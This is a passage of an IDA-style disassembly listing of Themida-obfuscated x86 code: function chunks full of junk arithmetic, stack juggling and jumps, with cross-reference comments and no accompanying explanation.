xchg ecx, [esp]
jmp loc_588170
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588BD8: ; CODE XREF: sub_585452+6638j
pop esi
push edx
mov edx, 4
jmp loc_58B2EE
; ---------------------------------------------------------------------------
loc_588BE4: ; CODE XREF: sub_585452+7D7Cj
mov ebx, edx
pop edx
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588BEC: ; CODE XREF: Themida_:00585F2Dj
pop eax
sub ebp, 77270A8Bh
xor ebp, 0E6D84375h
add ecx, ebp
mov ebp, [esp]
jmp loc_588F51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588C03: ; CODE XREF: sub_585452+F80j
add esi, ebx
pop ebx
push ebp
mov ebp, 4
sub esi, 527F2A13h
jmp loc_588B27
; ---------------------------------------------------------------------------
loc_588C17: ; CODE XREF: sub_585452+1BB3j
xor esi, 6388CFC3h
jmp loc_58FB34
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588C22: ; CODE XREF: Themida_:00586853j
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edi
push ecx
push 7B3D70F4h
pop ecx
add ecx, 0C8E3C126h
mov edi, ecx
pop ecx
jmp loc_58D5E4
; ---------------------------------------------------------------------------
loc_588C44: ; CODE XREF: Themida_:005846E2j
push dword ptr [esp]
pop ecx
push 30Ah
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58AA92
; ---------------------------------------------------------------------------
loc_588C60: ; CODE XREF: Themida_:0058861Cj
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_588C77: ; CODE XREF: Themida_:005887C7j
pop ecx
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_588C9B: ; CODE XREF: Themida_:00584FC6j
push ecx
mov ecx, 601E5A6Ah
and eax, ecx
mov ecx, [esp]
add esp, 4
and eax, 639219F7h
add eax, 65AA0C8Bh
not eax
add eax, 0B1CE7A63h
sub ebx, eax
pop eax
jmp loc_58F858
; ---------------------------------------------------------------------------
loc_588CC5: ; CODE XREF: Themida_:0058F2D8j
pop ecx
xor eax, 39333325h
mov ebp, eax
jmp loc_589414
; ---------------------------------------------------------------------------
loc_588CD2: ; CODE XREF: Themida_:0058A6ECj
add dword ptr [esp], 4
jmp loc_587399
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5862E8
loc_588CDE: ; CODE XREF: sub_5862E8+55D9j
sub eax, 4
push 4C8Eh
mov [esp+4+var_4], eax
push dword ptr [esp+4]
pop eax
pop [esp+4+var_4]
jmp loc_5858C2
; END OF FUNCTION CHUNK FOR sub_5862E8
; ---------------------------------------------------------------------------
loc_588CF6: ; CODE XREF: Themida_:00589093j
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg ebx, [esp]
jmp loc_5857B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588D14: ; CODE XREF: sub_585452+A333j
mov edx, esp
add edx, 4
jmp loc_586C6F
; ---------------------------------------------------------------------------
loc_588D21: ; CODE XREF: sub_585452+4BEAj
pop ecx
pop [esp+6+var_8+2]
pop esp
pop eax
push esi
mov esi, 719E0788h
jmp loc_58B088
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588D32: ; CODE XREF: Themida_:0058DD2Dj
push ecx
jmp loc_584ACB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_588D38: ; CODE XREF: sub_58C230+111Cj
push ecx
push 6A4260A7h
push [esp+0Ch+var_C]
pop ecx
jmp loc_58CC40
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_588D47: ; CODE XREF: Themida_:0058E10Ej
xchg esi, [esp]
jmp loc_5845DF
; ---------------------------------------------------------------------------
loc_588D4F: ; CODE XREF: Themida_:00587BBFj
push edx
mov edx, 2
sub esi, 6EC647B8h
add esi, edx
add esi, 6EC647B8h
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_5848F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588D6F: ; CODE XREF: sub_585452+398Bj
dec cl
not cl
jmp loc_58FB7D
; ---------------------------------------------------------------------------
loc_588D78: ; CODE XREF: sub_585452+9FAj
sub edx, 139E404Ah
add edx, ebx
add edx, 139E404Ah
mov ecx, [edx]
mov edx, [esp-1Ah+arg_16]
add esp, 4
mov ebx, [esp-1Eh+arg_1A]
jmp loc_58A022
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_588D99: ; CODE XREF: sub_58CCD7-5FDj
push edx
mov edx, 0
sub edx, 6B10255Ch
add edx, ecx
add edx, 6B10255Ch
add [edx], ebx
pop edx
mov ecx, [esp+4+var_4]
jmp loc_58D07B
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588DB8: ; CODE XREF: sub_585452+6970j
mov [esp-1Eh+arg_1A], ebx
jmp loc_58DC35
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588DC0: ; CODE XREF: Themida_:0058951Bj
mov ecx, 350511D5h
inc ecx
jmp loc_58C60B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_588DCB: ; CODE XREF: sub_589C10-731j
pop ecx
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_585FDD
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588DD8: ; CODE XREF: sub_585452+3AEBj
mov cl, 0DDh
sub cl, 0C3h
jmp loc_588D6F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588DE2: ; CODE XREF: Themida_:0058E8B4j
pop eax
add esp, 4
shl ebp, 3
xor ebp, 2C53AB4h
add edi, ebp
mov ebp, [esp]
add esp, 4
add edi, 2
push esi
jmp loc_585A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588E06: ; CODE XREF: sub_585452+11E3j
pop esi
sub ebp, 0FFFFFFFFh
dec ebp
push 230Dh
mov [esp+0Ah+var_C+2], esi
push ebp
mov ebp, 19FBBECAh
jmp loc_585476
; ---------------------------------------------------------------------------
loc_588E1E: ; CODE XREF: sub_585452+5F94j
add edi, 4
add edi, 4
jmp loc_588E92
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_588E2F: ; CODE XREF: sub_58C230-4ED5j
pop edi
; END OF FUNCTION CHUNK FOR sub_58C230
; START OF FUNCTION CHUNK FOR sub_585452
loc_588E30: ; CODE XREF: sub_585452+684j
push 61B2h
jmp loc_586CF5
; ---------------------------------------------------------------------------
loc_588E3A: ; CODE XREF: sub_585452-8AAj
add eax, 12C2EBD6h
sub edx, eax
mov eax, [esp-14h+arg_E+2]
add esp, 4
jmp loc_5854B9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588E4C: ; CODE XREF: Themida_:0058C049j
mov [esp], edx
mov dl, 98h
jmp loc_58DF92
; ---------------------------------------------------------------------------
loc_588E56: ; CODE XREF: Themida_:00584D22j
push esp
pop ebx
push ebp
mov ebp, 30562A86h
jmp loc_585210
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588E63: ; CODE XREF: sub_585452+1990j
not eax
sub eax, 0DF25F68Ah
add edi, 7D454B8Ch
add edi, eax
push esi
mov esi, 229E16C1h
add esi, 474C085Bh
and esi, 1D9613FAh
add esi, 73C33874h
sub edi, esi
pop esi
jmp loc_58D2FA
; ---------------------------------------------------------------------------
loc_588E92: ; CODE XREF: sub_585452+39D8j
xchg edi, [esp+0Eh+var_10+2]
pop esp
jmp loc_58E3F8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588E9B: ; CODE XREF: Themida_:0058E794j
add al, 64h
jmp loc_58F186
; ---------------------------------------------------------------------------
loc_588EA2: ; CODE XREF: Themida_:005840A2j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_584608
; ---------------------------------------------------------------------------
loc_588EAD: ; CODE XREF: Themida_:00587FC3j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_584413
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_588EB8: ; CODE XREF: sub_589FD5-6133j
add esp, 4
push 0E8Ch
mov [esp-4+arg_0], esi
push esp
pop esi
push ebx
mov ebx, 275A7A43h
sub ebx, 1E3F7B7Bh
add ebx, 1
xor ebx, 91AFECDh
add esi, ebx
pop ebx
sub esp, 4
mov [esp+0], edi
jmp loc_58997D
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
lodsb
jmp loc_587AA9
; ---------------------------------------------------------------------------
loc_588EF4: ; CODE XREF: Themida_:0058BE93j
mov [esp], esi
jmp loc_58EEEA
; ---------------------------------------------------------------------------
loc_588EFC: ; CODE XREF: Themida_:00587FACj
pop ecx
push ebp
push 0F80h
push esp
jmp loc_58E06C
; ---------------------------------------------------------------------------
loc_588F09: ; CODE XREF: Themida_:0058D4F9j
pop ebp
pop edi
sub esp, 4
mov [esp], ebx
push 2CB136BAh
jmp loc_587108
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_588F1B: ; CODE XREF: sub_58EFBD-706Bj
sub edi, 12EC00E6h
sub edi, ecx
push esi
mov esi, 127B143Ah
jmp loc_58788A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588F2E: ; CODE XREF: sub_585452-749j
inc ecx
jmp loc_58B3C4
; ---------------------------------------------------------------------------
loc_588F34: ; CODE XREF: sub_585452+71A2j
mov [esp-1Ah+arg_16], edx
mov dh, 4Dh
push edx
mov dl, 0DAh
push ecx
jmp loc_588DD8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_588F51: ; CODE XREF: Themida_:00588BFEj
add esp, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
movsx ecx, al
jmp loc_5884C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588F6B: ; CODE XREF: sub_585452+A29j
push eax
mov ah, 0A2h
sub bh, ah
mov eax, [esp+0Eh+var_10+2]
add esp, 4
and ch, bh
pop ebx
push 4CBFh
mov [esp+0Ah+var_C+2], eax
push edx
mov dh, 0BDh
add dh, 77h
mov al, dh
pop edx
push edx
mov dh, 0F7h
or dh, 10h
sub dh, 0BAh
jmp loc_584115
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588F98: ; CODE XREF: Themida_:00587DABj
mov ecx, 110C2895h
sub esp, 4
mov [esp], eax
mov eax, 62DD1676h
or ecx, eax
jmp loc_58FB92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588FB2: ; CODE XREF: sub_585452+9D99j
mov eax, [esp+0Eh+var_10+2]
jmp loc_587BB6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_588FBA: ; CODE XREF: sub_58E931-A2F5j
xchg ebp, edi
jmp loc_584F38
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588FC1: ; CODE XREF: sub_585452+71B4j
xor eax, 29314B72h
mov edx, eax
pop eax
neg edx
and edx, 15DC7762h
dec edx
add edx, 7A9A4399h
sub ebx, 28A93404h
add ebx, edx
add ebx, 28A93404h
pop edx
add ebx, 75485769h
add ebx, edi
push eax
mov eax, 75485769h
sub ebx, eax
jmp loc_585311
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588FFC: ; CODE XREF: Themida_:0058AA56j
pop edi
push ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
jmp loc_586F52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589016: ; CODE XREF: sub_585452+4D58j
add eax, edi
jmp loc_58B465
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58901D: ; CODE XREF: Themida_:0058FA06j
pop esp
loc_58901E: ; CODE XREF: Themida_:005846E8j
push 7FA5h
mov [esp], ebx
push dword ptr [esp]
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58E4F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58903D: ; CODE XREF: sub_585452+363Aj
not edi
xor edi, 2873385Dh
xor edi, 87C68D32h
and edx, edi
jmp loc_587071
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589052: ; CODE XREF: Themida_:0058FB67j
sub edx, 49F6FF3Ah
mov ecx, edx
jmp loc_5879DF
; =============== S U B R O U T I N E =======================================
sub_58905F proc near ; CODE XREF: sub_586650+3CB9j
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005840D3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00584F12 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00589B82 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D4E0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F918 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], esi
push ecx
mov ecx, 51D04FC7h
jmp loc_5840D3
sub_58905F endp
; ---------------------------------------------------------------------------
loc_589070: ; CODE XREF: Themida_:0058FF35j
sub eax, 0F8550Dh
add ebx, eax
pop eax
jmp loc_585A29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58907D: ; CODE XREF: sub_589967-5A64j
mov esi, edx
jmp loc_5889BD
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_589084: ; CODE XREF: Themida_:00589408j
pop ebx
add ebx, 8902C5Eh
add ebx, ebp
sub ebx, 8902C5Eh
jmp loc_588CF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589098: ; CODE XREF: sub_585452+9EDj
push [esp+42h+var_40+2]
mov edi, [esp+46h+var_48+2]
add esp, 4
jmp loc_588214
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_5890A7: ; CODE XREF: sub_58AB18+35E2j
pop esi
jmp loc_587370
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_5890BC: ; CODE XREF: sub_589C10-4CDDj
xor edx, [esp-4+arg_0]
pop esp
push 0E8h
jmp loc_5897BF
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
loc_5890CA: ; CODE XREF: Themida_:00584C5Dj
mov ebx, [esp]
add esp, 4
add edi, 4A19636Ah
sub edi, 33B4204Eh
add edi, ebp
add edi, 33B4204Eh
sub edi, 4A19636Ah
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
add edi, eax
pop eax
jmp loc_5888F2
; ---------------------------------------------------------------------------
loc_589101: ; CODE XREF: Themida_:005848D1j
xor [esp], ecx
jmp loc_58CD1F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589109: ; CODE XREF: sub_585452+1A66j
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp+0Ah+var_C+2]
jmp loc_584E25
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58911B: ; CODE XREF: Themida_:0058480Dj
xor [esp], ecx
xor ecx, [esp]
jmp loc_58B302
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_589126: ; CODE XREF: sub_58BE98-7A5Cj
mov eax, 4D6E6F65h
jmp loc_58D0CB
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589130: ; CODE XREF: sub_585452+6EC8j
add eax, 4
push 20Bh
mov [esp+0Eh+var_10+2], ebx
jmp sub_58E761
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5877DD
loc_589142: ; CODE XREF: sub_5877DD+3FB6j
mov edx, ebp
jmp loc_585801
; END OF FUNCTION CHUNK FOR sub_5877DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589149: ; CODE XREF: sub_585452+F57j
pop [esp-20h+arg_1A+2]
jmp loc_5875D9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_589151: ; CODE XREF: sub_58FA66-1152j
pop ebp
push ecx
mov ecx, esp
push esi
mov esi, 7D4B0A35h
xor esi, 23376C3Eh
push eax
mov eax, 6CF8794Bh
jmp loc_584B6B
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58916C: ; CODE XREF: Themida_:0058EF10j
add esi, 4
push ecx
mov ecx, esp
push eax
push ebp
jmp loc_58F987
; ---------------------------------------------------------------------------
loc_58917C: ; CODE XREF: Themida_:005879C2j
push small 4742h
mov [esp], dx
push 4C18h
mov [esp], ebx
jmp loc_58E0BC
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
mov esi, 49234EBFh
jmp loc_5881AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58919F: ; CODE XREF: sub_585452+756Ej
pop edi
jmp sub_58E234
; ---------------------------------------------------------------------------
loc_5891A5: ; CODE XREF: sub_585452+637Dj
mov ebx, [esp-28h+arg_24]
push 1769h
mov [esp-24h+arg_1E+2], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-24h+arg_1E+2]
pop esp
xor eax, edi
push [esp-28h+arg_24]
pop edi
add esp, 4
push 36C6h
mov [esp-28h+arg_24], edi
push edx
jmp loc_58E303
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_5891D9: ; CODE XREF: sub_58C230-4FC3j
push esi
mov esi, esp
sub esp, 4
jmp loc_58D370
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_5891E4: ; CODE XREF: Themida_:0058F8DEj
mov ebx, 42A82223h
and ebx, 63BA6789h
push ecx
jmp loc_586147
; ---------------------------------------------------------------------------
loc_5891F5: ; CODE XREF: Themida_:0058C1F7j
add ecx, 414F6484h
or ecx, 73CD1A68h
sub ecx, 18EA0F2h
jmp loc_58BDC7
; ---------------------------------------------------------------------------
loc_58920C: ; CODE XREF: Themida_:00589415j
sub esp, 4
mov [esp], ecx
mov ecx, 4B342DA3h
not ecx
not ecx
jmp loc_584292
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_589223: ; CODE XREF: sub_58F3BC-13Bj
push dword ptr [esp+4]
mov ebx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
pop esp
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 1BF9h
mov [esp+0], ecx
push edi
mov edi, 432E6560h
jmp sub_5878BB
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
loc_58924E: ; CODE XREF: Themida_:00586F9Fj
sub eax, 194C032Fh
mov ecx, eax
pop eax
jmp loc_5847F0
; ---------------------------------------------------------------------------
loc_58925B: ; CODE XREF: Themida_:00589B7Dj
push eax
jmp loc_583F47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_589261: ; CODE XREF: sub_58960C+5248j
add ebx, 27686041h
xor edx, eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_58926E: ; CODE XREF: Themida_:00585102j
pop ebp
add ebp, 4
push edx
push esi
push 57D818D9h
pop esi
neg esi
xor esi, 8EC3DE78h
mov edx, esi
pop esi
jmp loc_58FC79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58928D: ; CODE XREF: sub_585452+11C0j
pop ebp
sub edx, eax
push [esp+0Ah+var_C+2]
jmp loc_58D7C7
; ---------------------------------------------------------------------------
loc_589298: ; CODE XREF: sub_585452+664Ej
add esp, 4
mov esi, ebp
jmp loc_58BF68
; ---------------------------------------------------------------------------
loc_5892A5: ; CODE XREF: sub_585452+6B7j
mov esi, [esp+5Eh+var_60+2]
jmp loc_58BEB9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5892AD: ; CODE XREF: Themida_:0058DBE0j
add dword ptr [esp], 4
pop edx
push eax
mov eax, 4
add edx, eax
pop eax
jmp loc_58A185
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_5892C3: ; CODE XREF: sub_58F728-14Cj
pop edx
or eax, eax
jz sub_586650
push dword ptr [edi+1Ch]
add [esp-4+arg_0], 214F6582h
jmp loc_58BABA
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5892DB: ; CODE XREF: sub_585452-107j
mov dh, 0B1h
push eax
jmp loc_58D0A7
; ---------------------------------------------------------------------------
loc_5892E3: ; CODE XREF: sub_585452+5AACj
sub esi, 6EEE799Dh
pop ecx
push esi
jmp loc_584F65
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_5892F0: ; CODE XREF: sub_58AB18+2093j
pop esi
and eax, edi
pop edi
jmp loc_586423
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5892F9: ; CODE XREF: sub_585452+6C6Dj
push ecx
jmp loc_58882B
; ---------------------------------------------------------------------------
loc_5892FF: ; CODE XREF: sub_585452+7D26j
sub edi, 2
jmp loc_58D378
; ---------------------------------------------------------------------------
loc_589307: ; CODE XREF: sub_585452+7244j
push 2D6Fh
jmp loc_58EA54
; ---------------------------------------------------------------------------
loc_589311: ; CODE XREF: sub_585452+4883j
add esp, 4
jmp loc_58A2C1
; ---------------------------------------------------------------------------
loc_589319: ; CODE XREF: sub_585452+8F3Aj
cmp ecx, eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_589321: ; CODE XREF: sub_585452+8412j
sub ecx, 340E38D5h
jmp loc_5866F3
; ---------------------------------------------------------------------------
loc_58932C: ; CODE XREF: sub_585452+5136j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5852A3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58933B: ; CODE XREF: sub_58CA39-4C20j
mov ebp, 111D5C82h
xor ebp, 3EE86786h
or ebp, 359E6F5Eh
sub ebp, 7C0B000Eh
sub ebp, 0C3F47F4Ch
jmp loc_58C620
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586F2E
loc_58935D: ; CODE XREF: sub_586F2E+5j
pop ebp
jmp loc_58F958
; END OF FUNCTION CHUNK FOR sub_586F2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_589363: ; CODE XREF: sub_587574+390Fj
add ebx, 4
xchg ebx, [esp+0]
pop esp
add ebp, eax
jmp loc_589922
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F923
loc_589371: ; CODE XREF: sub_58F923-B72Bj
mov ecx, eax
pop eax
pop ebp
jmp sub_589EF0
; END OF FUNCTION CHUNK FOR sub_58F923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58937A: ; CODE XREF: sub_585452+40BBj
shr al, 5
dec al
xor al, 2Ah
jmp loc_58639C
; ---------------------------------------------------------------------------
loc_589386: ; CODE XREF: sub_585452+4E9Ej
sub eax, 55E901C0h
mov edx, [esp+0Eh+var_10+2]
add esp, 4
sub esp, 4
mov [esp+0Eh+var_10+2], edi
mov edi, 12D61612h
sub ebx, 596B693Ah
jmp loc_58FDDC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5893AD: ; CODE XREF: Themida_:00589AE9j
mov ecx, 402A1188h
shr ecx, 7
or ecx, 69782A08h
inc ecx
inc ecx
jmp loc_58776F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5893C2: ; CODE XREF: sub_585452+1E8Cj
pop esi
pop eax
sub esi, 0E412C7Bh
push esi
dec [esp-24h+arg_1E+2]
pop esi
not esi
push ebp
mov ebp, 7E150400h
neg ebp
dec ebp
not ebp
add ebp, 0EBE131A8h
jmp loc_58D450
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5893E7: ; CODE XREF: Themida_:0058970Aj
not ebp
xor ebp, 6F6F295Dh
add ebp, 677E7893h
add ebx, ebp
pop ebp
push 37A6h
mov [esp], ebp
push ebx
mov ebx, 2
mov ebp, ebx
jmp loc_589084
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58940D: ; CODE XREF: sub_58F728+6j
sub edi, ebp
jmp loc_587868
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_589414: ; CODE XREF: Themida_:00588CCDj
pop eax
jmp loc_58920C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58941A: ; CODE XREF: sub_585452+92A9j
add eax, edx
jmp loc_58833F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589421: ; CODE XREF: Themida_:00586397j
mov ecx, [esp]
jmp loc_585139
; ---------------------------------------------------------------------------
loc_589429: ; CODE XREF: Themida_:0058605Cj
mov [esp], cx
push small 28E1h
mov [esp], bx
jmp loc_58E730
; ---------------------------------------------------------------------------
loc_58943A: ; CODE XREF: Themida_:0058D57Aj
pop edi
push ebx
jmp loc_58E93D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_589441: ; CODE XREF: sub_58EFBD+EE0j
xor edi, 7C1C8BB2h
jmp loc_58DB71
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58944C: ; CODE XREF: Themida_:0058822Ej
pop esp
push edx
push ebx
push 33A12816h
pop ebx
sub ebx, 18D428CFh
jmp loc_58EE60
; ---------------------------------------------------------------------------
loc_589460: ; CODE XREF: Themida_:00586A4Fj
mov edi, 10A4B38Eh
jmp loc_58D22E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58946A: ; CODE XREF: sub_585452+46E7j
pop eax
sub ebp, 78BC219Eh
sub ebp, edi
add ebp, 78BC219Eh
pop edi
xchg ebp, [esp-2Ch+arg_28]
mov esp, [esp-2Ch+arg_28]
mov [esp-2Ch+arg_28], edi
push esi
push 0DAA51EEh
pop esi
push ebp
jmp loc_58DE2E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589490: ; CODE XREF: Themida_:0058AB53j
add esp, 4
push ebx
mov ebx, 0FFFFFFFFh
add ebp, ebx
mov ebx, [esp]
add esp, 4
shr ebp, 2
sub ebp, 0DBF78E4Dh
add eax, 2054C0Eh
sub eax, ebp
jmp loc_58D351
; ---------------------------------------------------------------------------
loc_5894B6: ; CODE XREF: Themida_:00589870j
xchg ecx, [esp]
pop esp
jmp loc_586AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_5894BF: ; CODE XREF: sub_589C10+2545j
add eax, ebx
pop ebx
mov ecx, eax
pop eax
add esi, 4CB95B0Ch
add esi, 0CE579BCh
add esi, ecx
sub esi, 0CE579BCh
sub esi, 4CB95B0Ch
jmp loc_588DCB
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
loc_5894E4: ; CODE XREF: Themida_:00584E74j
pop ebp
push eax
mov eax, 4
add edx, eax
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_58B8E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
